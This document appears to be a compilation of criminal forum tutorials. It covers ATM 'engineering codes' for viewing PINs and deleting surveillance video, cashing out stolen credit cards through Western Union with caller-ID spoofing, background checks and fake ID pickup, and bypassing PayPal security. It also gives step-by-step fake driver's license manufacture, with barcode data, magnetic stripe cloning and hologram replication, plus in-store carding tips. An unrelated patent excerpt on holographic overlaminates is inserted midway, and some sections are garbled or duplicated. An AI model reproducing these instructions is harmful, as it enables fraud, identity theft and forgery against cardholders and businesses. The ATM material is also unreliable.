Before you're going to sell something, you should find the drop or yourself who will accept payments from buyers on his name and address. That's why before lot posting you should change the info about account's holder with telephone or without. After this you can post a lot.

Engineering codes of ATMs

Engineering codes of ATMs
The engineering codes of ATMs

The engineering codes are used to operetivnogo repair and adjustment of ATMs.
For the most part and are used in old and new ATMs Japanese (brand not specified), the difference is only the immediate combination of signs
inzh.koda.
What can I do with inzh.koda with the ATM. Opportunities well finite but quite large.
Inzh.kodami you can:
1. View and delete video recording service ATMs.
2. Prosmoret amount and the Number of banknotes in the cells.
3. Log of the operations and their keyboard kits
4. Technical settings, network settings and connections for ATM connected to the Internet or LAN.

There are three types of ATMs using inzh.kody.
Type 1 - the engineering uses a special card and pincode.
TYPE2 - Using flash keys, or e-i-key.
TYPE3 - uses direct keyboard teh.dostup.

Codes for ATMs third type:
Hold the press 071ili # 077. There is an inscription "Pin enter", the default 9999.
Next appears "Serva enter".
Type:
0012 * - Indicates the log operetsy.
It looks like this:
1SLR # 12345678901234567890 ....#
2SLR # 12345678901234567890 ....#
3SLR # 12345678901234567890 ....#
and so on ...
The first 10 digit code operation, the following 4 numbers - PIN card on account number to withdraw an amount of banknotes issued by the codes and their Number.
Exit menu #.

0026 * - Displays the list videos.
It looks like this:
VLP/00/00/00 /: 01 # 1234567890
VLP/00/00/00 /: 02 # 1234567890
VLP/00/00/00 /: 03 # 1234567890
and so on ....
It's all clear / date / month / year /: serial number # opcode
To udalti kakyu any record, select it from the list and press the reset button "C".
To view what an entry (if the ATM supports video viewing), select it from the list and press "*".
Exit menu #.

0603 * - Indicates the status of safe and yacheik Number of cuts in them.
It looks like this:
FF: A1: 1000/100
FF: A2: 1000/020
FF: A3: 1000/010
and so on ....
If the front stated "AA" means that the cell is faulty or disabled.

Empty or unused cell is denoted "RFF".
Exit menu #.

0099 * - Indicates the system number of the ATM, the identifier of the bank statement, date of last update, the protocol of the changes.

Output from the engineering menu # # # 0 with shutting down the ATM, # # # 1 with the inclusion.
_____

Ihack Post

Getting Cash from a CC using Western Union

You are going to need the following tools before you go to westernunion.com and transfer money.

1. A complete Background Check of the card holder

This is because if you are going to try and transfer anything over $100 dollars USD they will ask you various questions such as your previous address, Social security number, Date of birth, Mothers maiden name, what your middle name is, what bank issued you your credit card, etc. In order to get that kind of infomation you will need to go to a site like peoplefinders.com and it costs about $60 for the infomation you might need for western union.

2. Phone spoofer/voice changer

You will need this because western union will think you are a fraudster if you arent calling from the card holders phone number so you must use a phone spoofer service to make the caller id at western union come up with the card holders phone number. Basically trick western union into thinking your calling from the card holders house. The voice changer comes with the phone spoofer service and you need this obviously so your own voice isnt being recorded incase of an investication and also if your a male and your using a females cc to get money from wu you will want to change your voice to sound like a female.

3. Call fowarding service

This is something you will need because the phone spoofing service blocks 1800 numbers or any toll free phone number. You can only dial 10 digit numbers with phone spoofers so you have to get a call fowarding service so when you call the 10 digit number from the call forwarding service it will foward to western union.

4. Internet phone service

If you are located in europe this is a must because it will cost you too much to use the spoofer and call fowarding service and it is also not traceable. I personally use my pre-paid cell phone but i'm located in the USA.

After you have got that stuff all set up the first thing you need to do is make sure the call fowarding works and the spoofer works and comes up with whatever number you put in for the caller id. When you finally have that all set up and you have your background check all set up then you go to westernunion.com and make the transfer. After you make the transfer it will most likely say something to the affect "Transfer on hold, Please call Western Union to confirm" or something to that effect and you call them up with the

caller id/spoofer and call fowarding service. n00b's to this may have some problems and might not be able to pull this off the first 10-15 times but you will get the hang of it like I did. I have done about 13 transfers and only had maybe 6 actually go though for pickup. Another thing you should get is a fake id because that will be the only way to link back to the fraudster in an investication. If you have a fake id and use it to pickup money you will most likely not get caught or it will be very hard to track you down.

Remember that you may not be successful your first few times but keep trying and when you do get a successful transfer you will be really happy. Some things I would like to point out is that first check and make sure the card your going to use is valid, I personally use yahoo wallet to verify the cc before I even think of using it. Also, to get spoofing service for caller id/voice changer I use spoofcard.com and for the call fowarding service I use is accessline.com

> You are going to need the following tools before you go to westernunion.com and transfer money.
>
> 1. A complete Background Check of the card holder
>
> This is because if you are going to try and transfer anything over $100 dollars USD they will ask you various questions such as your previous address, Social security number, Date of birth, Mothers maiden name, what your middle name is, what bank issued you your credit card, etc. In order to get that kind of infomation you will need to go to a site like peoplefinders.com and it costs about $60 for the infomation you might need for western union.
>
> 2. Phone spoofer/voice changer
>
> You will need this because western union will think you are a fraudster if you arent calling from the card holders phone number so you must use a phone spoofer service to make the caller id at western union come up with the card holders phone number. Basically trick western union into thinking your calling from the card holders house. The voice changer comes with the phone spoofer service and you need this obviously so your own voice isnt being recorded incase of an investication and also if your a male and your using a females cc to get money from wu you will want to change your voice to sound like a female.
>
> 3. Call fowarding service
>
> This is something you will need because the phone spoofing service blocks 1800 numbers or any toll free phone number. You can only dial 10 digit numbers with phone spoofers so you have to get a call fowarding service so when you call the 10 digit number from the call forwarding service it will foward to western union.
>
> 4. Internet phone service
>
> If you are located in europe this is a must because it will cost you too much to use the spoofer and call fowarding service and it is also not traceable. I personally use my pre-paid cell phone but i'm located in the USA.
>
> After you have got that stuff all set up the first thing you need to do is make sure the call fowarding works and the spoofer works and comes up with whatever number you put in for the caller id. When you finally have that all set up and you have your background check all set up then you go to westernunion.com and make the transfer. After you make the transfer it will most likely say something to the affect "Transfer on hold, Please call Western Union to confirm" or something to that effect and you call them up with the caller id/spoofer and call fowarding service. n00b's to this may have some problems and might not be able to pull this off the first 10-15 times but you will get the hang of it like I did. I have done about 13 transfers and only had maybe 6 actually go though for pickup. Another thing you should get is

a fake id because that will be the only way to link back to the fraudster in an investication. If you have a fake id and use it to pickup money you will most likely not get caught or it will be very hard to track you down.

Remember that you may not be successful your first few times but keep trying and when you do get a successful transfer you will be really happy. Some things I would like to point out is that first check and make sure the card your going to use is valid, I personally use yahoo wallet to verify the cc before I even think of using it. Also, to get spoofing service for caller id/voice changer I use spoofcard.com and for the call fowarding service I use is accessline.com

Holographic Overlaminate

The present invention includes a process that prints a clear layer or layers over a YMCK composite printer layer on an identification card by using the overlayers as a printable surface. These overlayer panels (OP) are known in dye sublimation printing. They are typically used to protect the dyes that have been sublimated into a substrate from UV degradation. Because the OP has an UV blocking component which causes the OP layer to fluoresce in UV light, when a pattern printed in the OP layer is bathed in UV light, the entire printed pattern (whether a logo, writing or other computer generated design) will fluoresce. Different OP layers have different formations for UV protection. Ribbons with OP layers are available from Dai Nippon of Tokyo, Japan have characteristics ranging from brightly fluorescent to absorbent. Combining more than one OP layer would give the fluorescing printing changes in intensity and hue.

If the OP layer or layers are used for printing images rather than laid down on the identification card as a full sheet, the sublimated dye not covered by the image would be unprotected against UV degradation. Since the OP layers themselves are very thin, even with the OP layer being laid down on the card as a full sheet, the durability of the image is problematic. Additional overlaminate material can be laminated onto the card, increasing the durability and longevity of the card. This second overlaminate material can be the holographic material or clear material such as PolyGuard (sold by FARGO Electronics, Inc. of Eden Prairie, Minn.).

If the OP layer is printed over the dye or resin, it does not sublimate into the card but sits on top of the card. When the second overlaminate material is laminated on top of the image printed on the OP layer, a series of ridges with refracting angles are created by the printed image of the OP layer underneath the second overlaminate. By modulating the printed pattern at a high frequency, this process can create something similar to a diffractive grating where sharp angles are embossed into the reflective surface to create more refractive angles to refract light. In one form, the process causes the printed edges to refract the light so that angling the card from a light source will bring the outline of the clear printed image into view when the angle of the refracted light aligns with the viewer.

When more printed OP layers are used, then one OP layer can be used to protect the YMCK dye printing and the additional OP layer can be used for security imaging. By putting more OP layers on the card, especially when the OP layers have different refractive properties or different UV absorbing or fluorescing properties, additional security features can be devised.

The overlaminate, which is laminated onto the identification card in a second step, can be scored by the laminating print head of the identification card printer. This scoring would take the form of reflectively compatible angle grooves. Each groove further enhances the OP layer's refractive properties, creating a diffraction grating like image to appear as the card is moved away from a horizontal plane and light

reflects accordingly.

The diffraction grating type image which previously had to be embossed into the overlaminates now can be simulated by printing the OP layers and using the second overlaminate which will reduce costs, time to manufacture, and enable accurate targeting of the image. In addition, if the printed overlaminate is modulated by either printing or special overlaminate manufacturing, more reflective edges are created to enhance the security image.

Identification card ribbons (FIG. 1) consist of a series of panels (in the case of FIG. 1, consisting of yellow dye (1), cyan dye (2), magenta dye (3), black resin or black dye (4), and a clear overlaminate (5) thus being known as a "YMCKO" ribbon, each of which are coated with dye sublimation ink or resin ink. Each ribbon can be configured with different ink panels depending on the specifications desired. Thus, the ribbon in FIG. 1 could eliminate the black resin panel, thus becoming a "YMCO" ribbon, or the overlaminate could be eliminated, thus becoming a "YMCK" ribbon. All combinations of ribbons that are able to print in full color require the yellow, cyan, and magenta panels. The ribbons are rolled onto circular cores (6) which fit into the printer. The ribbon is situated between the print head and the blank identification card. The printer then receives instructions from a computer that is connected to printer as to the digital images and heating instructions to heat the print head to place such images onto the identification card (7) (FIG. 2).

FIG. 3 shows the carrier ribbon (and the overlaminate material (9). The overlaminate material is designed so that it would completely cover an identification card when heat from the print head is applied to the entire overlaminate material. The overlaminate has a laminating material coated on the exposed side (which is face down when run through the printing process) of the laminate. When heat is applied, this coating material bonds the lamination material and the identification card together.

FIG. 5 shows the process of laminating. The ribbon core (6) has been mounted onto the core holder (12) and the ribbon (13) has been pulled through the print head mounting assembly (14) and is pinched between the print head (15) and the identification card (7), which is held tightly by a pinch roller (16). The used ribbon is re-wrapped around a take up roll (not shown). The identification card is fed into the printer by a series of pinch rollers (17) from an input hopper (not shown). The identification card (7) moves with the ribbon panel, and then is pulled in the reverse direction from which it was fed to have the next panel printed upon it. Thus the card moves forward and backwards depending upon its location and the ribbon panel location. The pinch rollers are capable of moving bi-directionally while the print head and print head mechanism remain stationary. Once printed and laminated, the identification card is moved from the print head area by a series of pinch rollers (18).

In FIGS. 4A through 4D, the results of the bonding can be seen. The identification card (7) has been printed on, and the overlaminate layer (9) has been applied over the full length and width of the identification card. FIG. 4B is a cross-section of the bonded identification card (7). The overlaminate (9) cove's the entire width of the identification card. If the cross-section was lengthwise rather than through the width of the card, the overlaminate would stretch the entire length of the card. The clear feature of the overlaminate allows the printing on the card to be completely visible. The dye sublimation (10) have sublimated into the card, remaining below the surface of the identification card (11) so that the surface is still flat until the overlayer is applied. When and where the overlayer is applied, the card's thickness is increased. Resin ink sits on top of the surface and also provides ridges.

The overlayer can be supplemented with an additional lamination at a separate station. Identification card printers such as the Cheetah II or the Pro-L (available from Fargo Electronics, Inc. of Eden Prairie, Minn.) incorporate a second lamination station for an overlaminate that is thicker and more durable than the overlaminate layer applied at the printing station. This thicker and more durable overlaminate such as PolyGuard sold by FARGO is on a separate roll from the YMCKO ribbon. These overlaminates are suitable for having a holographic type image embossed therein. In FIG. 4C, the results of applying the thicker overlaminate can be seen. The identification card (7) has the sublimated dyes or resins (10) which have become part of the card. The overlaminate layer (9) has been laid down in a full sheet to cover the entire card, and the thicker overlaminate layer (19) has been laminated on top of the first overlaminate to

create a sandwich effect.

In FIG. 6, the overlayer panel (9) is printed on (20), rather than being laid down as a full sheet. The printed image can be any graphic image created on a computer FIG. 4D shows the cross-section of the card (7) with the overlayer (20) being printed as a clear printed layer rather than as an unbroken sheet. When the thicker overlayer (19) is applied in FIG. 4E, the effect is to create ridges on the thicker overlaminate sheet rather than a smooth surface as was shown in FIG. 4C. When these ridges are created, light reflects from the edges of the underlying overlaminate (20) creating a ghosting image when the card is moved from a horizontal plane.

In some cases, application of the overlaminate is not a viable option because of the cost of the overlaminate and the price of the printer required to laminate the card. In that case, a similar methodology can be utilized that achieves a similar result. In FIG. 6, the overlay materials is laid down as a first pass, with the heavier overlaminate materials being applied in the second operation, utilizing a hot roller. To achieve a similar result, the first thin overlaminate is applied in reverse, i.e., the entire overlaminate panel is applied except for the image. Instead of a raised surface on the card, the image is actually lower than the overlay material on the card. The ridges that are created are inverted, sot hat the eye can still see the image, since the image is the area where the overlay was not printed. Since there is no overlaminate coating in this embodiment, the image can be seen, otherwise the application of the second, heavier overlaminate would cover and fill in the nonprinted area. Since the non printed area has no protection from UV rays, over time the image (as this is the non printed area) will appear since the dye sublimation inks will fade from exposure to UV light.

Although the present invention has been described with reference to preferred embodiments, workers skilled in the art will recognize that changes may be made in form and detail without departing from the spirit and scope of the invention. For example, other types of overlaminate, over lamination techniques, or techniques for creating ridges in an overlaminate layer can be sued when implementing the present invention. For simplicity, a preferred species is disclosed. However, the invention includes the gnus and the invention should not be limited to any particular species when interpreting broad steps or elements of the invention.

How to Bypass Paypal Security Measures

This gets asked alot, I do believe this still works and hope this helps you in anyway, if this tut is crap/useless/dont work, ill close it

Step One:

Go to your browser open http://Www.Paypal.com

Step Two: Type in the login information for your paypal account you will be using for teh bypass.

Step Three: Kay when your logged in and you get that shitty paypal security message all you do is click ""help" or "security center." They both work usually, sometimes one doesn't work and one does. If one dont work log out and try agian

Step Four: Do not click "My account" or anything else. Only navigate to "send money" or "request money."

Step Five
You're now in the account. Do not send money to your personal account. It will work, but it will cause both paypals to be limited.(Like I said before this account was for show purposes only and was intended to be limited.)

Hope it works ^^.

How To Make A Perfect Teslin ID

How To Make A Perfect Teslin ID, Tutorial #1 :

Chapter 1 - Items/Supplies Needed

Chapter 2 v Templates/Editing

Chapter 3 - Printing

Chapter 4 - Laminating

Chapter 5 - Finishing Touches

Chapter 1 - Items/Supplies Needed

Many supplies are needed in order to create a valid real looking license. Let's first begin with the basic supplies needed. You will first you need to get an exacto knife, I prefer the ones with the rubber handles, makes it easier on the hand when you are cutting the teslin. Scissors, a nice clean, sharp pair works perfectly fine. The kind that your teacher never let you use in elementary school is the best one to use. Sandpaper, will also be needed, 1000 and 1500 grit is suggested. A cutting board, this comes in handy when you don't want to leave slice marks in on a desktop

(http://www.brainstormidsupply.com). Laminator, this one I will go into detail about. Choosing the right laminator is very important, personally I prefer the GBC 40, which can be purchased at Office Max, for $49.99. It's cheap but it does get the job done right, and surprisingly it keeps the id held together through 3 times washed. The preferred laminator by many id makers is anyone with a temperature control, the better control you have over the heat, the better the lamination is going to be. A carrier, which is a guide for the id to sit in so your rolls on the laminator don-t get messed up. A few index cards, just the size that will fit through the laminator.

Now we move onto one of the biggest parts, PRINTERS. Printing with a HP 620C, will definitely not do the job and your id will look like a 5 year old made it. Preferably use an Epson C80, or any Epson line. If you don't have an Epson or can't get your hands on one, any HP 900 Series will do the job right. Teslin, the oilpaper in which you will be printing the templates onto, can be ordered online.

http://www.brainstormidsupply.com - Recommended place to buy teslin. If you have an inkjet printer, order inkjet teslin, and so on with laser. Believe it or not there is a difference between the two. Hologram's, you can either order these or make them yourself. In tutorial #2, I will go into detail on how to make precise holograms, but in this one, I suggest just ordering from a trusted site, Digital Rebellion usually has reviews and so does #fakeid and #identification on Dalnet. Camera, a digital camera one with at least 2.1 mega pixels, is recommended, any less and the quality decreases. Kodak makes nice cameras to use in this instance; I personally own one and my pictures have come out perfect.

Chapter 2 v Templates/Editing

Templates, are one of the biggest parts of the id making process, shitty templates equal shitty ids. Usually people on Digital are willing to trade or pass a quality template on to you. Making your own template is another possibility, but it takes much skill, time and patience. Something not a lot of people obtain, so if you-re a beginner, stick with the pre-made templates. A good template ranges from any from sizes of 50 v 90 megabytes. Now, mostly all templates come in a .PSD file, for those of you who are new, it-s an Adobe Photoshop image. Designers do this because they can fit many layers into one file, and the layers are editable, making it easy to re-enter information. Some knowledge of the program is needed but not necessary, you can read their free tutorials. Photoshop itself costs in excess of $500, but it is possible to find someone with a spare copy.

Well, now that you got your template that you want to use, we are ready to begin. First, the photo that you will be taking needs to be at least a foot to two feet away from the person. Lighting doesn't really matter; just make sure it is enough to see. Take the picture on a white clear wall, this allows for easier editing of the photo. Once, the photo has been taken, we now move onto to the editing phase of the photo. You will need to replace the background on the picture with one of a light blue, my suggestion, is copy the blue from the picture blue on your template. This is where the skill comes in, you have to make the photo look believable, or otherwise, it-s going to be crap. Make sure you get rid of all white effects all around the hair, neck, and shoulders. After replacing the background is complete, you will then need to add some form of lighting effect to the picture to help intensify, and make it look more believable. My choice in lighting in Photoshop, is Filter>Render>Lighting Effects. Adjust the circle around the picture, so there is more light exposure. Switch light type to Omni Light, Intensity and Exposure levels need to be adjusted. You decide on the levels you want to use, I personally like to use Intensity v 18, Exposure v 13. But once again this is an option that varies from picture to picture. How the picture is taken, what kind of camera, you get the general idea.

Next we move to the cutting stage, you will need to cut the picture from about a half an inch above the head to right below the shoulders. Basically take a look at your real license and try and follow how that looks. Upon cutting it you will need to resize and possibly upsize or downsize to fit the borders in which the picture is suppose to go. This can take some time to get it perfect, but the better it looks the better it will work. After completing the first picture on the left, we will move to the second picture on the right. Downsize this one a lot to fit the borders, after resizing the second picture, you will need to make the opacity 40%. This will make the picture look faded to an extent that is needed.

Editing the license should be fairly easy. Basically all you will have to do is change the information around to fit the needs of the person in whom your making it for. The license number really doesn't matter, not like in Michigan or some others states where the first letter is the letter of your last name. I use B to start the license number. Another suggestion that is very helpful and usually works for me is to go to www.whitepages.com and search for someone with the last name that you-re making the id for. This will give you a street address, city, and zip. It-s very helpful, when you do not know many cities in which you are making the id for. On the bottom of the id are a bunch of numbers and letters and, those are just to tell where the picture was taken and the id was made. Now, there are two ways to do the signature on the id, one is to have a person sign a piece of paper, then scan it, size it down and import it into the template (recommended way). The second way is to download a signature font, and then just type it in. In my opinion it looks fake.

First, we must edit the back of the template of the id. Try and download a CA Barcode program, it allows you to enter the expiration date and the drivers license number of the person and it will make you the bar code for the back. Copy the picture to the clipboard; now import it onto the id. If you don-t have this program or can-t find it don-t worry.

Chapter 3 v Printing

Printing is one of the most complicated parts of making the id in my opinion. Everything must be perfectly aligned right and set up in order to create a believable looking id. You will first need to print out a black and white copy of the id on a piece of white paper. After printing out the black and white copy, you will then need to cut a strip of teslin to fit over the area in which you printed on. After cutting the piece of teslin, tape the corners of the teslin down. Put the paper back in the printer and then before printing set the DPI to the highest setting and the best quality printing. It is also recommended that you change the paper setting to photo quality. The paper will come out, I suggest putting it in front of a fan to let it dry quicker. Leave it there for about a minute or so. After, drying off comes a very difficult part lining up the teslin with the print previous to it. You must be sure to exactly line up the teslin with then picture on the paper. My suggestion is to put the paper and the teslin in front of a light and have someone tape the corners down for you. After taping the corners put the paper back into the printer, we will now be moving on to the back of the id. Now, print to the back of the teslin, you should be printing at the same resolutions as was before. Pull it out of the printer and put it in front of the fan for another minute. And now we-re ready to move to the next stage of the process.

Chapter 4 v Laminating

Laminating is one of the biggest parts too of the id process, it includes much time and patience trying to make sure everything is aligned properly. Otherwise, you just wasted a piece of teslin and a perfectly good hologram. Now, take your hologram and separate the top and the bottom. Take a rag and just get it a little wet, and wipe down both the top and bottom parts of the hologram. After that set it in front of the fan and let it dry off. After it gets dry, set the top half of the hologram on the front side of the teslin. Now make sure it is aligned evenly and that that it-s equal distance all around the id. Now, tape three sides, the top, bottom, and the left side. Turn on the laminator; once the ready light comes on we-re ready to begin. After taping is complete, put the id in the carrier, then put the side that is not taped in the laminator slightly, just enough so that it doesn’t go through but laminates the one side. Now, pull it out, remove the tape, and run the id back through the laminator. This ensures that the id will not move from the current position that it is in. Making your id almost perfectly done. After the front, it laminated, put it again in front of a fan and let it cool down. Once, it is done, take it and put in on a hard surface or your cutting board and take out the exacto knife and start cutting the teslin away. Making sure not to leave any borders on the id. This will ensure less work later on in the process. Now, take the back part of the id, and align it evenly, and tape three corners once again. Put, the one side that isn’t tape slightly into the laminator, once complete, take it out. Remove all the tape and run the id back through the laminator. Now, your id is fully laminated and we-re ready to move to the last stage.

Chapter 5 v Finishing Touches

Your probably thinking, finally, we-re here, but the work isn’t all over yet. Take out the sandpaper 1000 or 1500 grit. Now, corner off the corners better, making sure that they are smooth and there is no hard spots. Give the edges a nice sand to making sure that when you rub your finger on the corners and edges it feels good. After completing this, take out the 1000 or 1500 grit sandpaper, and in a circular motion sand the front of the id. We are doing this to try to get rid of some of the gloss on the id. The less glossy the better it will turn out. Another way is to sand a little bit on the front with 1000 or 1500 grit, then take the id, go outside and run the shit in the dirt for a little bit, same for the back, Then take two dirty ass cards and put your id between them in your wallet. Leave it there for a day or two. Now, after sanding, check the corners and make sure there are no breaks in the laminate. Try to do a bend test on it, which is

taking it length wise, and bending it slightly, if anything pops, run it back through the laminator. If not, you did a good job. But still give it a run through the laminator with lots of pressure. Put a few index cards above and below the carrier, and give it one finally run through. And now, your ID is complete. Congratulations!

How to make great fake ID

1. Obtain necessary supplies from one of the following websites:
http://www.arcadiaid.com
http://www.poisonid.com
http://www.idsupplystore.com
2. Find and edit the templates
Search a Peer-2-Peer network such as Kazaa, LimeWire or BitTorrent to find a template. By using Adobe Photoshop or Macromedia Fireworks, or a free program like GIMP, you should easily be able to edit the templates.
3. You should begin editing by changing the text fields. Most standard IDs use the font Arial that comes with Windows but if you wish to use specialty fonts that do not come with Windows (such as a font for signatures) you can see how to download and install them by reading this article: Install Fonts On Your PC.

Edit the eye and hair color fields as follows:
Eye Color- Indicate eye color abbreviation:
BLK - Black
GRY - Gray
MAR - Maroon
BLU - Blue
GRN – Green
PNK - Pink
BRO – Brown
HAZ - Hazel
MUL – Multicolor

Hair Color- Indicate hair color abbreviation:
BAL – Bald
BRO – Brown
SDY - Sandy
BLK - Black
GRY - Gray
WHI - White
BLN – Blonde
RED – Red

Also, if your ID has restrictions or endorsements here are the codes. Some are rarely used but others, like restriction code B are quite common. Here are a list of some of the more popular codes:

Restriction codes:
A - No Restriction
B - Corrective Lens
C - Mechanical Aids
D - Business Only

G - Daylight Only
H - Employer's Vehicle Only
J - Prosthetic Aid
Q - No Passengers
R - motorcycles 500 cc & under
S - to & From School
T - To & From Medical
U - all motorcycles except Class X
2 - Personal Vehicles Only

Endorsement codes are less common but include:
M - Motorcycle endorsement for any motorcycle regardless of engine displacement.
P - Passenger vehicles designed to carry 16 or more persons, including the driver.
T - Double/triple trailers allowed.
Y - Farm endorsement (Class A).
4. Then, scan in the photo and signature image files
You need to scan in a passport photo or other acceptable ID picture. Also scan in a signature. If the background of the passport photo does not match the background of the state id, you will need to do some editing.
5. After scanning the passport photo into the computer, the person's face will need to be separated from the background so it flows seamlessly with your ID card template. Using a program such as Adobe Photoshop, Macromedia Fireworks, or GIMP, provides you with an image editing tool called "Magic Wand". This tool will allow you to click a color in the image and it will select all surrounding colors that are similar or the same. There will be a slider that will allow you to select the amount of variance from the color you select. The higher the variance relates to more of the image that will be selected. Once the background is nearly fully selected without containing any of the person's face, press 'Delete' on your keyboard to erase it. You can then magnify the image and use the eraser tool to clean up around the person's face. At this point, zoom out and copy the image. It can be pasted onto your ID card template. It will then flow seamlessly into your template design and you can choose any background color you want! For more detailed instructions on how to edit facial images for use on id cards, see this article: Edit Face Images for Use on a Fake ID.
6. Then, add a Barcode
The unusual-looking scrambled barcode on the back of most driver’s licenses is known as a PDF417 barcode. This barcode contains most of the information contained on the front of the license. By editing this readout, you can encode your information into this barcode. You can generate these barcodes by finding a free PDF417 Generator online. Below is the general sequence.

ANSI 6360263f02DL20393504EM02460010DLDAQ1414556
DAASMITH,JOHN,A
DABSMITH
DACJOHN
DADA
DAG423WILSON
DAIMIAMI
DAJFL
DAK044
DBB190922
DBA2480922
DAU511
DAW170
DAZBR
DAYBLU
DBC2
DBHN
DARC
DBD200684003

DASB
DBE1
DBIN
EMEMEWPFD
7. Add a Magnetic Stripe
If your license requires a magnetic stripe and you want it to be scannable, it can be encoded with an encoder. Generally these are very expensive and are difficult to find. However, you can get the EasyIDea Magnetic Stripe Encoder for less than $400 bucks. There are two types of magnetic stripes, HiCo and LoCo. HiCo and LoCo magnetic differ in that HiCo are much more difficult to demagnetize. The encoders for these typically were much more expensive than for LoCo. Most HiCo encoders encode LoCo stripes as well. The best way to program the stripe is to decode a working driver's license, edit the data, and then program it back onto the stripe. Encode the magnetic stripe after the card is finished.
8. After editing is done, you can start printing
You will need to print on a synthetic paper. There are two types of synthetic paper that are nearly the same. Teslin and Artisyn paper are single layer, silica-filled, polyolefin printing substrate with unique microporous and temperature resistance features that make it the product of choice for laminated ID badges. Teslin is more expensive than Artisyn and much less versatile. If you want to use a desktop inkjet printer, you will achieve better results with Artisyn or Artisyn NanoExtreme™ synthetic paper. Printing on Teslin with an inkjet does not work well and tends to look grainy and smear. The Artisyn and Artisyn NanoExtreme™ are coated with chemicals to absorb the ink effectively. It is cheaper than Teslin, works well with all types of printers including inkjet and laser printers. It also tends to produce better print quality results. Teslin can be found at PoisonID.com and Artisyn can be found at ArcadiaID.com. Arcadia also sells perforated sheets that punch out in the size of the ID cards.
9. The next step is to select your printer. The preferred method is to use a pigmented based inkjet printer like an Epson printer with DuraBrite ink. This tends to produce incredible results and works well with Teslin even though it is not a laser printer. Better results are still achieved on Artisyn paper, and for the highest quality results Artisyn NanoExtreme™ should be used. If a pigmented ink printer is not available, a laser printer is still a good result. Laser printers produce sharp and clear results, but the ink tends to look waxy. Lastly, any dye-based inkjet printer will work fine. A dye-based inkjet printer is that standard color printer that most people have in their home. Again, if you use dye-based inks make sure to use Artisyn. You should print on highest quality photo settings.

Print on one sheet of paper, both front and back.
10. Then, the next step is cutting.
If you are using EasyIDea Microperforated Artisyn, you can skip this tedious step. Otherwise, start by cutting out the ID from the paper. Tracing the dimensions of the ID using a butterfly pouch is generally helpful. A paper cutter or X-Acto knife is also helpful. After cutting sheets by hand for a while, I decided I'd rather use the punch-outs from http://www.arcadiaid.com
11. Then you will need to laminate.
You must use thermal laminating in order to bond the butterfly pouch to the synthetic paper. Once laminated, the card will harden and resemble a PVC card. You must use a thermal (heat) pouch laminator. Avery, Arcadia EasyIDea, or GBC makes good ones that run around $50. If you can't afford a laminator then you can use a standard home iron. This is a little more tricky as you have to make sure the iron doesn't get so hot that it melts the laminate plastic but is still hot enough to bond the laminate to your ID. Also be sure the iron does not have any water loaded into it as this could damage the ink on the pre-laminated ID and the steam could warp the ID card.
12. Next, place the insert into the butterfly pouch. You must place the card into a carrier. Run the carrier through the laminator. Immediately following lamination, it is helpful to place the card under something flat like a book so that it cools flat.
13. Then, apply a hologram.
Generally, it is acceptable to use a generic hologram. Very few people actually examine the hologram and read what it says on it. I have had my fake for over two years with a generic hologram on it and I have never had a problem. If you're concerned about making something that looks truly authentic, there are other methods to replicate holograms. The Shield and Key hologram is the most commonly used generic hologram and is a transparent rainbow hologram. This means that it looks transparent when looked at directly but when tilted to the sides the hologram lets off a rainbow spectrum. This is my generic

hologram of choice when making fakes. This type of hologram is pretty much impossible to duplicate using the Pearl-Ex method below.
14. Making a Hologram
The gold holograms on many ID cards are called binary holograms. These holograms can be easily reproduced using Pearl-Ex paint and Photo-EZ paper.

This product is for making stencils. A stencil is basically the outline of a picture with the negative part missing. To make the stencil you scan the hologram off your id, then convert it to an all black image. Next you print the image on a transparency. A transparency is a transparent sheet of plastic meant for inkjet printers or lasers. Then you take the transparency and tape it to the Photo-EZ. You put it out in the sun and all the areas of the material not covered by the black negative of the holo cures. When washed the part covered by the negative washes away, leaving you with your stencil. You will want to order the high resolution material. This product can be ordered from cBridgeand more information can be found there.

As for the painting material, the two main ones are Interference Gold (Fine) made by Golden Acrylics and PERL-EX DUOTONE. The latter of the materials work best because of the fact it reflects two colors of the spectrum. Perl-Ex comes as a powder and preparation is needed. These paints are transparent when viewed from straight on. When viewed from different angles you see different colors depending on the particular colors of the paint. Perl-Ex comes in Duo Red-Blue, Duo Blue-Green, and Duo Green-Yellow. Perl-Ex is available in a lot of places here is one: http://www.sierra-enterprises.com/pearlex.htm

You have to buy a Transparent Base made for paints to prepare the Perl-Ex. A good one is Speedball Transparent Base. You mix in a 1:50 ratio. 1 part Per- 50 parts base. If you are using Golden acrylics then you use a 5:1 ratio. 5 parts paint 1 part base. When applying the paint in the stencil, you should use if possible one of those brushes made for screen printing. It is like a pencil but with a flexible tip. A sponge can be used but extra care needs to be taken when applying. You want to apply a very thin amount and practice will be needed to get it right.

On a lot of the new ID's there is a multicolored hologram that reflects the full spectrum (like a rainbow). This is especially true of most of the Canadian ids. What you do is pick the two most dominant colors and buy the matching Perl Ex colors. This will be good enough to reproduce the holo. The holo can be put directly on the finished ID or before lamination on the inside of the pouch. If you choice is the inside then remember to put it in the reverse.
15. Then, you’re ready for the finishing touches.
It is recommended that you sand the edges of the hologram with a very fine grit sandpaper. This removes the jagged edges of the synthetic paper. You should lightly sand the front and back of the id to give it a more worn look.
16. Lastly, these instructions were to make a 30 mil drivers license that resembles a PVC card. If you want to make something thinner that bends corner to corner like some ID cards, you can remove the front part of the butterfly pouch and simply laminate the back of the pouch with the synthetic paper. Many machines use this method, but it can be accomplished manually. You can also replicate signature strips by scratching the surface of the butterfly pouch with sandpaper.
17. Have fun and don’t be an idiot with your ID.

Inshop Carding TUT

I figured it was about time all you noobs and not so new noobs got some fresh advice to help you out there in the world of instore carding. I mean half these tut's use names I haven't seen since SC and CP.So,here goes. All the obvious shit has been beat to death and if your too lazy to read it again. Here it is

Don't shit where you sleep--NEVER card anywhere near your hometown!

Dress the part-Look like you should be buying what your carding,,if your trying to card expensive jewelry and your pants are sagging down around your ass the only thing your leaving that store with is a matching set of silver braclets and a free ride to county. Like it or not your an actor now and think of your clothes as props and dress according to where you are working.

Only use nice shiny new cards if you want the cashier to look at your ID very carefully,,a new card could have just been stolen from a mail box. So,,,rub it a couple times with light sand paper from side to side on the front and back to mimic looking like it's been swiped a few times.

Get a wallet with a flipout holder to put your ID in so there is never an excuse for it to leave your hands and never carry more than 4-6 cards in a wallet at one time--just draws extra attention you don't need.

